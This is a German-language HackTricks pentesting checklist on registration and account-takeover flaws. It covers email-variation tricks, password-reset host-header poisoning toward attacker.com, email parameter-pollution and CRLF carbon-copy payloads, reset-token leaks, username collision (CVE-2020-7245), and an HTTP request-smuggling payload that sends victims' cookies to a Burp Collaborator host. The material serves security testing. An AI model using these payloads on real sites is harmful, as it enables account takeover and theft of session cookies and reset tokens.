hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-10 15:36:32 +00:00

10 KiB

Registrierungs- und Übernahmeschwachstellen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Übernahme der Registrierung

Duplizierte Registrierung

  • Versuchen Sie, einen vorhandenen Benutzernamen zu generieren
  • Überprüfen Sie die Variation der E-Mail:
  • Großbuchstaben
  • +1@
  • Fügen Sie einige Punkte in die E-Mail ein
  • Sonderzeichen im E-Mail-Namen (%00, %09, %20)
  • Fügen Sie nach der E-Mail schwarze Zeichen hinzu: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Benutzernamenermittlung

Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert wurde.

Passwortrichtlinie

Bei der Erstellung eines Benutzers überprüfen Sie die Passwortrichtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).
In diesem Fall können Sie versuchen, Anmeldeinformationen per Brute-Force zu ermitteln.

SQL-Injection

Überprüfen Sie diese Seite, um zu erfahren, wie Sie mithilfe von SQL-Injections in Registrierungsformularen Konten übernehmen oder Informationen extrahieren können.

Oauth-Übernahmen

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML-Schwachstellen

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

E-Mail-Änderung

Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Sie, ob diese Änderung korrekt validiert wird oder ob Sie sie in beliebige E-Mails ändern können.

Weitere Überprüfungen

  • Überprüfen Sie, ob Sie Wegwerf-E-Mails verwenden können
  • Langes Passwort (>200) führt zu DoS
  • Überprüfen Sie die Rate-Limits bei der Kontenerstellung
  • Verwenden Sie username@burp_collab.net und analysieren Sie den Callback

Übernahme der Passwortrücksetzung

Passwortrücksetzungstoken-Leak über Referrer

  1. Fordern Sie einen Passwortrücksetzung für Ihre E-Mail-Adresse an
  2. Klicken Sie auf den Link zur Passwortrücksetzung
  3. Ändern Sie das Passwort nicht
  4. Klicken Sie auf beliebige Websites von Drittanbietern (z. B. Facebook, Twitter)
  5. Abfangen Sie die Anfrage im Burp Suite Proxy
  6. Überprüfen Sie, ob der Referrer-Header das Passwortrücksetzungstoken preisgibt.

Passwortrücksetzung-Manipulation

  1. Fangen Sie die Anfrage zur Passwortrücksetzung in Burp Suite ab
  2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Leiten Sie die Anfrage mit dem geänderten Header weiter
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Suchen Sie nach einer Passwortrücksetzungs-URL basierend auf dem Host-Header wie z. B.: https://attacker.com/reset-password.php?token=TOKEN

Passwortrücksetzung über E-Mail-Parameter

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR auf API-Parameter

  1. Der Angreifer muss sich mit seinem Konto anmelden und zur Funktion Passwort ändern gehen.
  2. Starten Sie Burp Suite und unterbrechen Sie die Anfrage.
  3. Senden Sie es an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Schwacher Passwort-Reset-Token

Der Passwort-Reset-Token sollte jedes Mal zufällig generiert und eindeutig sein.
Versuchen Sie festzustellen, ob der Token abläuft oder ob er immer gleich ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.

  • Zeitstempel
  • Benutzer-ID
  • E-Mail des Benutzers
  • Vorname und Nachname
  • Geburtsdatum
  • Kryptographie
  • Nur Zahlen
  • Kleine Token-Sequenz (Zeichen zwischen [A-Z,a-z,0-9])
  • Token-Wiederverwendung
  • Ablaufdatum des Tokens

Leckender Passwort-Reset-Token

  1. Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
  2. Überprüfen Sie die Serverantwort und suchen Sie nach resetToken.
  3. Verwenden Sie dann den Token in einer URL wie https://example.com/v3/user/password/reset?resetToken=[DER_RESET_TOKEN]&email=[DIE_MAIL]

Passwort-Reset über Kollision von Benutzernamen

  1. Registrieren Sie sich im System mit einem Benutzernamen, der dem Benutzernamen des Opfers entspricht, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: "admin "
  2. Fordern Sie einen Passwort-Reset mit Ihrem bösartigen Benutzernamen an.
  3. Verwenden Sie den an Ihre E-Mail gesendeten Token und setzen Sie das Passwort des Opfers zurück.
  4. Melden Sie sich mit dem neuen Passwort im Konto des Opfers an.

Die Plattform CTFd war anfällig für diesen Angriff.
Siehe: CVE-2020-7245

Account-Übernahme über Cross-Site Scripting

  1. Finden Sie eine XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domäne beschränkt sind: *.domain.com
  2. Leaken Sie das aktuelle Sitzungscookie.
  3. Authentifizieren Sie sich als Benutzer mithilfe des Cookies.

Account-Übernahme über HTTP Request Smuggling

1. Verwenden Sie smuggler, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erstellen Sie eine Anfrage, bei der POST / HTTP/1.1 mit den folgenden Daten überschrieben wird:
GET http://something.burpcollaborator.net HTTP/1.1 X: mit dem Ziel, die Opfer auf burpcollab umzuleiten und ihre Cookies zu stehlen.
3. Die endgültige Anfrage könnte wie folgt aussehen.

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone-Berichte, die diesen Fehler ausnutzen:

Accountübernahme über CSRF

  1. Erstellen Sie eine Payload für CSRF, z.B. "HTML-Formular mit automatischer Übermittlung für eine Passwortänderung".
  2. Senden Sie die Payload.

Accountübernahme über JWT

JSON Web Token kann zur Authentifizierung eines Benutzers verwendet werden.

  • Bearbeiten Sie das JWT mit einer anderen Benutzer-ID/E-Mail.
  • Überprüfen Sie die Schwäche der JWT-Signatur.

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: